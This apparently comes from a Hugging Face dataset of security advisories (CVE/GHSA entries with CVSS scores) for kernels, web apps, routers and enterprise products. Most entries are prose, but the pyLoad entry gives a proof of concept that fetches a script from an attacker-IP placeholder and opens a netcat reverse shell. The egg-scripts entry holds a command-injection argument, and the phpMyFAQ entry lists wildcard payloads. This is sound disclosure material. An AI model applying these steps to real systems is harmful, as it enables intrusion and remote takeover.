ansulev/circl-vulnerability-scores huggingface dataset:
GHSA-q56q-rvw2-p4r2: In the Linux kernel, the following vulnerability has been resolved:fwctl: Fix class init ordering to avoid NULL pointer dereference on device removalCXL is linked before fwctl in drivers/Makefile. Both use `module_init, so
`cxl_pci_driver_init()` runs first. When `cxl_pci_probe()` calls
`fwctl_register()` and then `device_add()`, fwctl_class is not yet
registered because fwctl_init() hasn't run, causing `class_to_subsys()` to
return NULL and skip knode_class initialization.On device removal, `class_to_subsys()` returns non-NULL, and
`device_del()` calls `klist_del()` on the uninitialized knode, triggering
a NULL pointer dereference.
GHSA-6mpw-r8r8-xcw2: Heap Overflow vulnerability in Tenda AX1803 v.1.0.0.1 allows a remote attacker to execute arbitrary code via the schedStartTime parameter or the schedEndTime parameter in the function setSchedWifi.
CVSS v3.1: 9.8
GHSA-w6xf-p643-g6rw: An Incorrect Access Control vulnerability was found in /smsa/view_subject.php in Kashipara Responsive School Management System v3.2.0, which allows remote unauthenticated attackers to view SUBJECT details.
CVSS v3.1: 7.5
GHSA-gcp9-5jc8-976x: phpMyFAQ has a LIKE Wildcard Injection in Search.php — Unescaped % and _ Metacharacters Enable Broad Content Disclosure
SummaryThe `searchCustomPages()` method in `phpmyfaq/src/phpMyFAQ/Search.php` uses `real_escape_string()` (via `escape()`) to sanitize the search term before embedding it in LIKE clauses. However, `real_escape_string()` does **not** escape SQL LIKE metacharacters `%` (match any sequence) and `_` (match any single character). An unauthenticated attacker can inject these wildcards into search queries, causing them to match unintended records — including content that was not meant to be surfaced — resulting in information disclosure.Details**File:** `phpmyfaq/src/phpMyFAQ/Search.php`, lines 226–240**Vulnerable code:**`escape()` calls `mysqli::real_escape_string()`, which escapes characters like `'`, `\`, `NULL`, etc. — but explicitly does **not** escape `%` or `_`, as these are not SQL string delimiters. They are, however, LIKE pattern wildcards.**Attack vector:**A user submits a search term containing `_` or `%` as part of a 3+ character word (to bypass the `strlen <= 2` filter). Examples:Search for `a_b` → LIKE becomes `'%a_b%'` → `_` matches any single character, e.g. matches `"aXb"`, `"a1b"`, `"azb"` — broader than the literal string `a_b`Search for `te%t` → LIKE becomes `'%te%t%'` → matches `test`, `text`, `te12t`, etc.Search for `_%_` → LIKE becomes `'%_%_%'` → matches any record with at least one character, effectively dumping all custom pagesThis allows an attacker to retrieve custom page content that would not appear in normal exact searches, bypassing intended search scope restrictions.PoCNavigate to the phpMyFAQ search page (accessible to unauthenticated users by default).Submit a search query: `_%_` (underscore, percent, underscore — length 3, bypasses the `<= 2` filter).The backend executes: `WHERE (page_title LIKE '%_%_%' OR content LIKE '%_%_%')`This matches **all** custom pages with at least one character in title or content — returning content that would not appear for a specific search term.Impact**Authentication required:** None — search is publicly accessible**Affected component:** `searchCustomPages()` in `Search.php`; custom pages (faqcustompages table)**Impact:** Unauthenticated users can enumerate/disclose all custom page content regardless of the intended search term filter**Fix:** Escape `%` and `_` in LIKE search terms before interpolation:Or use parameterized queries with properly escaped LIKE values.
CVSS v4.0: 6.9
CVSS v3.1: 5.3
GHSA-73hm-7vv6-hpxr: A vulnerability was found in Qiyuesuo Eelectronic Signature Platform up to 4.34 and classified as critical. Affected by this issue is the function execute of the file /api/code/upload of the component Scheduled Task Handler. The manipulation of the argument File leads to unrestricted upload. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS v4.0: 2.1
CVSS v3.1: 6.3
CVE-2026-6389: IBM Turbonomic Prometurbo agent used by IBM Turbonomic Application Resource Management is affected by a single vulnerability
IBM Turbonomic prometurbo agent 8.16.0 through 8.17.6 IBM Turbonomic Application Resource Management grants excessive cluster‑wide permissions, including unrestricted read access to all secrets. An attacker that compromises the operator or its service account can exfiltrate sensitive credentials, escalate privileges, and potentially achieve full cluster compromise.
CVSS v3.1: 8.8
GHSA-58wg-7mfc-xv84: In queryInternal of CallLogProvider.java, there is a possible permission bypass due to improper input validation. This could lead to local information disclosure of voicemail metadata with User execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-11Android ID: A-143230980
CVSS v3.1: 3.3
GHSA-xfxq-jv37-m725: IBM Security Access Manager Appliance 9.0.1.0, 9.0.2.0, 9.0.3.0, 9.0.4.0, and 9.0.5.0 could allow a remote attacker to hijack the clicking action of the victim. By persuading a victim to visit a malicious Web site, a remote attacker could exploit this vulnerability to hijack the victim's click actions and possibly launch further attacks against the victim. IBM X-Force ID: 149702.
CVSS v3.0: 6.1
GHSA-6fw9-5jc3-p5h9: A vulnerability was found in Codezips Pet Shop Management System 1.0. It has been classified as critical. This affects an unknown part of the file /animalsadd.php. The manipulation of the argument id leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The initial researcher advisory mentions the parameter "refno" to be affected. But further inspection indicates that the name of the affected parameter is "id".
CVSS v4.0: 5.3
CVSS v3.1: 6.3
CVE-2016-1000340: In the Bouncy Castle JCE Provider versions 1.51 to 1.55, a carry propagation bug was introduced in the implementation of squaring for several raw math classes have been fixed (org.bouncycastle.math.raw.Nat???). These classes are used by our custom elliptic curve implementations (org.bouncycastle.math.ec.custom.**), so there was the possibility of rare (in general usage) spurious calculations for elliptic curve scalar multiplications. Such errors would have been detected with high probability by the output validation for our scalar multipliers.
CVSS v3.0: 7.5
CVSS v2.0: 5
CVE-2004-2395: Memory leak in passwd 0.68 allows local users to cause a denial of service (memory consumption) via a large number of failed read attempts from the password buffer.
CVSS v2.0: 2.1
GHSA-8w65-xjc5-9w79: Cross-Site Scripting in node-red
Versions of `node-red` prior to 0.20.8are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize the `name` field in new Flows, allowing attackers to execute arbitrary JavaScript in the victim's browser.RecommendationUpgrade to version 0.18.6 or later.
CVSS v3.1: 5.4
GHSA-h2x6-vff8-x47p: UserManager.js in the Web Reports Server for SurfControl SuperScout WebFilter uses weak encryption for administrator functions, which allows remote attackers to decrypt the administrative password using a hard-coded key in a Javascript function.
GHSA-f2fm-6xq7-v8j8: File Upload vulnerability in LJCMS v.4.3.R60321 allows a remote attacker to execute arbitrary code via the ljcms/index.php parameter.
CVSS v3.1: 9.8
CVE-2022-28309: This vulnerability allows remote attackers to disclose sensitive information on affected installations of Bentley View 10.16.02.022. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of 3DS files. Crafted data in a 3DS file can trigger a read past the end of an allocated buffer. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of the current process. Was ZDI-CAN-16308.
CVSS v3.0: 3.3
GHSA-h73m-pcfw-25h2: Download to arbitrary folder can lead to RCE
SummaryA web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.DetailsWhen a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads.src/pyload/core/api/__init__.py::add_package::L432So if a package were created with the name ```"../"``` the application would instead create the folder ```"/downloads/.._/"```However, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.src/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195Steps to reproduceLogin to a pyLoad instanceGo to "Queue" and create a new package with any name and a valid linkClick "Edit Package" on the newly created package and set the folder as "/config/scripts/download_finished/"Restart the packageCheck the server filesystem and note the link was downloaded and stored inside "/config/scripts/download_finished/"Remote code execution proof-of-conceptIt is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.On attacker machineStart a web server hosting a malicious scriptStart netcat listener for reverse shellsOn pyLoadChange pyLoad file permission settingsChange permissions of downloads: On
 Permission mode for downloaded files: 0744Create a package with link pointing to the attackerhttp://<attacker_ip>/evil.shEdit package and change folder to /config/scripts/package_deleted/Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoadDelete any package package to trigger the scriptImpactAn authenticated user can gain control over the underlying pyLoad server.
CVSS v3.1: 7.6
CVE-2018-1392: IBM Financial Transaction Manager 3.0.4 and 3.1.0 for ACH Services for Multi-Platform could allow an authenticated user to execute a specially crafted command that could obtain sensitive information. IBM X-Force ID: 138377.
CVSS v3.0: 3.1
CVSS v2.0: 3.5
CVE-2018-14807: A stack-based buffer overflow vulnerability in Opto 22 PAC Control Basic and PAC Control Professional versions R10.0a and prior may allow remote code execution.
CVSS v3.1: 9.8
CVSS v2.0: 7.5
CVE-2022-1502: Permissions were not properly verified in the API on projects using version control in Git. This allowed projects to be modified by users with only ProjectView permissions.
CVSS v3.1: 4.3
CVSS v2.0: 3.5
CVE-2021-39924: Large loop in the Bluetooth DHT dissector in Wireshark 3.4.0 to 3.4.9 and 3.2.0 to 3.2.17 allows denial of service via packet injection or crafted capture file
CVSS v3.1: 7.5
ICSA-25-035-06: Schneider Electric Modicon M340 and BMXNOE0100/0110, BMXNOR0200H (Update B)
Schneider Electric is aware of a vulnerability in its Web Server on Modicon M340 and BMXNOE0100/0110, 
BMXNOR0200H communication modules products.
The Modicon M340 is a programmable automation controller; BMXNOE0100 and BMXNOE0110 are network 
communication modules used with Modicon M340. BMXNOR0200H is a communication module that enables 
M580 and M340 platforms to use RTU protocol exchange with RTU stations.
Failure to apply the remediation/mitigations provided below may risk information disclosure on web pages,
modification of web pages and denial of serviceClick or tap here to enter text., which could result in the
unavailability of the controllers or modules.
August Update: Remediations are available for BMXNOE0100 (Modbus/TCP Ethernet Modicon M340 module) 
and BMXNOE0110 (Modbus/TCP Ethernet Modicon M340 FactoryCast module)
CVSS v3.1: 8.6
GHSA-c9j3-wqph-5xx9: Command Injection in egg-scripts
Versions of `egg-scripts` before 2.8.1 are vulnerable to command injection. This is only exploitable if a malicious argument is provided on the command line.Example:
`eggctl start --daemon --stderr='/tmp/eggctl_stderr.log; touch /tmp/malicious'`RecommendationUpdate to version 2.8.1 or later.
CVSS v3.1: 9.8
CVE-2019-9252: In libavc there is a possible out of bounds read due to uninitialized data. This could lead to remote information disclosure with no additional execution privileges needed. User interaction is needed for exploitation. Product: AndroidVersions: Android-10Android ID: A-73339042
CVSS v3.1: 6.5
CVSS v2.0: 4.3
CVE-2025-61800: Dimension | Integer Overflow or Wraparound (CWE-190)
Dimension versions 4.1.4 and earlier are affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS v3.1: 7.8
GHSA-567h-5xff-w7mq: Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Filters). The supported version that is affected is 8.5.5. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Outside In Technology accessible data as well as unauthorized read access to a subset of Oracle Outside In Technology accessible data. Note: Outside In Technology is a suite of software development kits (SDKs). The protocol and CVSS Base Score depend on the software that uses Outside In Technology. The CVSS score assumes that the software passes data received over a network directly to Outside In Technology, but if data is not received over a network the CVSS score may be lower. CVSS 3.1 Base Score 6.5 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N).
CVE-2025-56092: OS Command Injection vulnerability in Ruijie X30 PRO V1 X30-PRO-V1_09241521 allowing attackers to execute arbitrary commands via a crafted POST request to the module_get in file /usr/local/lua/dev_sta/networkConnect.lua.
CVSS v3.1: 8.8
CVE-2025-25153: WordPress Simple Auto Tag plugin <= 1.1 - CSRF to Stored XSS vulnerability
Cross-Site Request Forgery (CSRF) vulnerability in djjmz Simple Auto Tag simple-auto-tag allows Stored XSS.This issue affects Simple Auto Tag: from n/a through <= 1.1.
CVSS v3.1: 7.1
CVE-2020-3853: A type confusion issue was addressed with improved memory handling. This issue is fixed in iOS 13.3.1 and iPadOS 13.3.1, macOS Catalina 10.15.3, tvOS 13.3.1, watchOS 6.1.2. A malicious application may be able to execute arbitrary code with system privileges.
CVSS v3.1: 7.8
CVSS v2.0: 9.3
GHSA-3qf8-q2rg-6p4p: IBM Concert Software 1.0.0 through 1.0.1 is vulnerable to cross-site scripting. This vulnerability allows an unauthenticated attacker to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.
CVSS v3.1: 6.1
CVE-2005-3801: CounterPane PasswordSafe 1.x and 2.x allows local users to test possible encryption keys against a subset of the stored key data without performing the more expensive key derivation function (KDF) function, which reduces the search time in brute force attacks.
CVSS v2.0: 4.6
CVE-2019-3889: A reflected XSS vulnerability exists in authorization flow of OpenShift Container Platform versions: openshift-online-3, openshift-enterprise-3.4 through 3.7 and openshift-enterprise-3.9 through 3.11. An attacker could use this flaw to steal authorization data by getting them to click on a malicious link.
CVSS v3.0: 4.6
CVE-2019-6285: The SingleDocParser::HandleFlowSequence function in yaml-cpp (aka LibYaml-C++) 0.6.2 allows remote attackers to cause a denial of service (stack consumption and application crash) via a crafted YAML file.
CVSS v3.0: 6.5
CVSS v2.0: 4.3
GHSA-4r26-5226-443f: The Pretty Links plugin for WordPress is vulnerable to Stored Cross-Site Scripting via various IP headers as well as the referer header in versions up to, and including, 2.1.9 due to insufficient input sanitization and output escaping in the track_link function. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS v3.1: 7.2
RHSA-2023:5541: Red Hat Security Advisory: Logging Subsystem 5.6.12 - Red Hat OpenShift security update
tough-cookie: prototype pollution in cookie memstore golang: net/http: insufficient sanitization of Host header golang: crypto/tls: slow verification of certificate chains containing large RSA keys golang: net/http, x/net/http2: rapid stream resets can cause excessive work (CVE-2023-44487) HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack)
CVSS v3.1: 7.5
CVE-2016-4398: A remote arbitrary code execution vulnerability was identified in HP Network Node Manager i (NNMi) Software 10.00, 10.01 (patch1), 10.01 (patch 2), 10.10 using Java Deserialization.
CVSS v3.0: 8.8
CVSS v2.0: 6.5
GHSA-fqgf-h56q-h3fr: Cisco IOS 12.0 through 12.4 on Cisco 10000, uBR10012 and uBR7200 series devices handles external UDP packets that are sent to 127.0.0.0/8 addresses intended for IPC communication within the device, which allows remote attackers to cause a denial of service (device or linecard reload) via crafted UDP packets, a different vulnerability than CVE-2008-3805.
GHSA-c7rx-2qc5-pwqv: Directory traversal vulnerability in GSAPAK.EXE for GameSpy Arcade, possibly versions before 1.3e, allows remote attackers to overwrite arbitrary files and execute arbitrary code via .. (dot dot) sequences in filenames in a .APK (Zip) file.
CVE-2017-10719: Recently it was discovered as a part of the research on IoT devices in the most recent firmware for Shekar Endoscope that the device has default Wi-Fi credentials that are exactly the same for every device. This device acts as an Endoscope camera that allows its users to use it in various industrial systems and settings, car garages, and also in some cases in the medical clinics to get access to areas that are difficult for a human being to reach. Any breach of this system can allow an attacker to get access to video feed and pictures viewed by that user and might allow them to get a foot hold in air gapped networks especially in case of nation critical infrastructure/industries.
CVSS v3.0: 6.5
CVSS v2.0: 4
CVE-2020-24036: PHP object injection in the Ajax endpoint of the backend in ForkCMS below version 5.8.3 allows an authenticated remote user to execute malicious code.
CVSS v3.1: 8.8
CVSS v2.0: 6.5
GHSA-wjcq-cqhf-f7rm: An issue has been discovered in GitLab CE/EE affecting all versions starting with 18.0 before 18.0.2. Under certain conditions html injection in new search page could lead to account takeover.
CVSS v3.1: 8.7
CVE-2025-10074: Portabilis i-Educar tipos cross site scripting
A vulnerability was identified in Portabilis i-Educar up to 2.10. The affected element is an unknown function of the file /usuarios/tipos/. The manipulation of the argument Tipos de Usuário/Descrição leads to cross site scripting. The attack can be initiated remotely. The exploit is publicly available and might be used.
CVSS v4.0: 5.1
CVSS v3.1: 3.5
CVSS v3.0: 3.5
CVSS v2.0: 4
RHBA-2015:2197: Red Hat Bug Fix Advisory: libreoffice bug fix and enhancement update
libreoffice: HWP file filter vulnerability
GHSA-53g7-wg5x-3j59: Directory traversal vulnerability in index.php in Anodyne Productions SIMM Management System (SMS) 2.6.10, when magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the page parameter to index.php.  NOTE: some of these details are obtained from third party information.
GHSA-34wg-xv5v-xgh8: IBM Security Guardium 10.5, 10.6, and 11.1 could disclose sensitive information on the login page that could aid in further attacks against the system. IBM X-Force ID: 174804.
CVE-2021-31703: Frontier ichris through 5.18 allows users to upload malicious executable files that might later be downloaded and run by any client user.
CVSS v3.1: 9.8
CVSS v2.0: 7.5
CVE-2020-14829: Vulnerability in the MySQL Server product of Oracle MySQL (component: InnoDB). Supported versions that are affected are 8.0.21 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).
CVSS v3.1: 4.9
GHSA-p285-vxm3-73m7: In the Linux kernel, the following vulnerability has been resolved:cpufreq: apple-soc: Fix null-ptr-deref in apple_soc_cpufreq_get_rate()cpufreq_cpu_get_raw() can return NULL when the target CPU is not present
in the policy->cpus mask. apple_soc_cpufreq_get_rate() does not check
for this case, which results in a NULL pointer dereference.
CVSS v3.1: 5.5
GHSA-95pq-v592-p42v: atop: symlink attack possible due to insecure tempfile handling
CVE-2016-10745: In Pallets Jinja before 2.8.1, str.format allows a sandbox escape.
CVSS v3.0: 8.6
CVSS v2.0: 5
cisco-sa-ftd-mgmt-privesc-7GqR2th: Cisco Firepower Threat Defense Software Privilege Escalation Vulnerability
A vulnerability in the management web server of Cisco Firepower Threat Defense (FTD) Software could allow an authenticated, remote attacker with high privileges to execute configuration commands on an affected system.

This vulnerability exists because access to HTTPS endpoints is not properly restricted on an affected device. An attacker could exploit this vulnerability by sending specific messages to the affected HTTPS handler. A successful exploit could allow the attacker to perform configuration changes on the affected system, which should be configured and managed only through Cisco Firepower Management Center (FMC) Software.

Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.



This advisory is part of the November 2022 release of the Cisco ASA, FTD, and FMC Security Advisory Bundled publication. For a complete list of the advisories and links to them, see Cisco Event Response: November 2022 Semiannual Cisco ASA, FMC, and FTD Software Security Advisory Bundled Publication ["https://sec.cloudapps.cisco.com/security/center/viewErp.x?alertId=ERP-74838"].
CVSS v3.1: 6.5
CVE-2024-20362: A vulnerability in the web-based management interface of Cisco Small Business RV016, RV042, RV042G, RV082, RV320, and RV325 Routers could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the interface.
 This vulnerability is due to insufficient input validation by the web-based management interface. An attacker could exploit this vulnerability by persuading a user to visit specific web pages that include malicious payloads. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information.
CVSS v3.1: 6.1
CVE-2024-43624: Windows Hyper-V Shared Virtual Disk Elevation of Privilege Vulnerability
Windows Hyper-V Shared Virtual Disk Elevation of Privilege Vulnerability
CVSS v3.1: 8.8
GHSA-98hc-4m3w-636x: kernel/omap/drivers/misc/gcx/gcioctl/gcif.c in the kernel component in Amazon Kindle Fire HD (3rd) Fire OS 4.5.5.3 allows attackers to inject a crafted argument via the argument of an ioctl on device /dev/gcioctl with the command 1077435789 and cause a kernel crash.
CVSS v3.0: 7.5
GHSA-v3xj-8fq8-h6v9: Directory traversal vulnerability in index.php in ModX 0.9.1 allows remote attackers to read arbitrary files via a .. (dot dot) sequence and trailing NULL (%00) byte in the id parameter.
CVE-2015-8858: The uglify-js package before 2.6.0 for Node.js allows attackers to cause a denial of service (CPU consumption) via crafted input in a parse call, aka a "regular expression denial of service (ReDoS)."
CVSS v3.0: 7.5
CVSS v2.0: 7.8